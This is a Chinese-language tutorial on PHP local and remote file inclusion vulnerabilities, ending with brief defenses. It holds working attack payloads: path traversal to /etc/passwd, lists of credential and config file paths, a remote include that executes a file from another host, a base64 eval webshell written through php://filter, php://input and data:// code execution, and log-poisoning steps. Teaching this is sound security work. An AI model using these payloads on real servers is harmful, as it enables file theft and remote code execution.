文件包含概念:
开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。
文件包含:
文件包含的原理:文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致 任意文件读取与任意命令执行。
文件包含分类:
文件包含分为两种:
本地文件包含:包含本地主机上的文件(WEB服务器),文件名称是相对路径或者绝对路径
远程文件包含:包含互联网上的文件,文件名称为URL格式
而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_ url_ include. 如果开启就有可能包含远程文件。
与文件包含相关的配置文件:(php.ini文件)
allow_url_fopen = on (默认开启) #允许打开URL文件
allow_url_include = on (默认关闭) #允许引用URL文件
与文件包含有关的函数:
include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行
include_once():功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次
requier():使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行
require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次
文件包含特征:
?page=a.php
?home=b.html
?file=content
检测方法
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://192.168.189.78/1.txt
http://1.1.1.1/../../../../dir/file.txt
本地文件包含:
1.php扩展名为: jpg、rar、txt、xxx发现均可解析,只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。(此处只以.txt举例)
此外include.php文件,还可以通过目录遍历来执行文件,在include.php的上一目录写一个2.php
<?php echo "666";?>打印666,通过浏览器进行访问
本地文件包含利用:
1,读取Windows系统敏感信息:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IS配置文件
C:\windows\repair\sam //windows初次安装的密码
C:\program Files\mysq|\my.ini //Mysq|配置信息
C:\program Files\mysq|\data\mysq|\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
2,读取linux系统敏感信息:
/etc/passwd //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysq|配置文件
本地文件包含——常用文件路径:
apache+Linux 日志默认路径 apache+linux 默认配置文件
/etc/httpd/logs/access.log、/var/log/httpd/access.log /etc/httpd/conf/httpd.conf
/etc/init.d/httpd
apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log、D:\xampp\apache\logs\error.log IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Lognames IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config
IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\Lognames ./:当前路径
../:上级目录
nginx 日志文件 /:根目录
/usr/local/nginx/logs ~/:linux用户主目录
远程文件包含:
如果 php.ini 的配置选项 allow_url_include 和 allow_url_fopen 都为 ON 的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞,可以直接执行 任意命令。
http://172.26.26.253/fileupload/file.php?filename=http://172.26.26.115/1.txt
1.txt 是文本文件并且他是另一个网站上面的文档,但是当目标服务器的这两个配置选项都开启的时候,他就会把其中的文件当作 php 文件来运行。
什么是伪协议:
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。除了这些封装协议,还能通过 stream_wrapper_register()来注册自定义的封装协议。
文件包含—伪协议:
①file:// 可以用于访问本地文件系统,不受allow_url_fopen与allow_ulr_include影响
使用方法 file://绝对路径
实例:file://C:\Windows\System32\drivers\etc\hosts #必须为绝对路径
php流filter
?page= php://filter/read=convert.base64-encode/resource=1.php
通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
②php:// 访问各个输入/输出流,不受allow_url_fopen和allow_url_include影响
php://filter参数 读取文件
resoure=<要过滤的数据流> 必须参数,指定筛选过滤的数据流
read=<读链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔
write=<写链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔
<;两个链的筛选列表> 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链
实例:
php://filter/read=convert.base64-encode/resource=cmd.php //查看php代码需要使用转换过滤转换代码,不然无法查看代码
实例:
filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX0dFVFsnaWQnXSk7Pz4=
打开文件时将输入流字符串进行baes64解码,并写入文件中,通过改方法,可以绕过一些安全监测,写入一句话
测试脚本 运行结果
③php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行,需开启allow_url_include
利用php中流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
读取文件(allow_ url. include和allow_ ur_ fopen都不做要求)
127.0.0.1/upload/include.php/?page=php://input
<?php fputs(fopen("1116.php","w"),"<?php phpinfo();?>");?> 将1116.php写入当前路径下内容为<?php phpinfo();?>
④data:// 读取数据流且执行,自PHP5.2.0起有效,all_url_fopen、allow_url_inclued需要都开启才能使用
用法 data://text/plain;base64,<执行代码的base64编码> | data://text/plain,<执行的代码>
命令执行
http://127.0.0.1/csh/include.php/?page=data://text/plain, <?php phpinfo();?>
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= (将<?php phpinfo();?>转换为了base64编码)
⑤zip:// 、 bzip2:// 、 zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等,不受all_url_fopen、allow_url_inclued影响
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
bzip2使用方法:compress.bzip2://[文件绝对路径|文件相对路径]
zlib使用方法:compress.zlib://[文件绝对路径|文件相对路径]
phar使用方法:phar://[文件绝对路径|文件相对路径]/[子文件名称]
包含日志文件getshell:
利用条件:知道日志的物理存放路径、存在文件包含漏洞、使用burp发送请求,或者curl工具(网页请求会对特殊字符编码)
①构造url,访问web服务 ————目的是,构成错误请求,apache就会将错误的请求写入,错误日志当中 error.log
②使用存在文件包含的php访问,进行包含错误日志
③写入webshell构造url进行访问
文件包含和文件上传的利用:
如果你发现了一个包含本地文件包含漏洞的网站,或许我们只可以查看一些文件。那么我们可以进行更深层次的利用。刚好这个时候我们在这个网站上又发现了一个文件上传漏洞。我们可以将两者结合
制作一个图片木马,通过文件上传漏洞上传通过文件包含漏洞对该图片木马进行"包含" 获取执行结果
各协议的利用条件和方法:
本地文件包含-防御:
(1)allow_url_include和allow_url_fopen关闭;
(2)对用户包含的文件进行限制,如白名单、open_basedir;
(3)检查用户输入;
(4)检查变量是否初始化;
(5)关键的过滤在服务器端进行;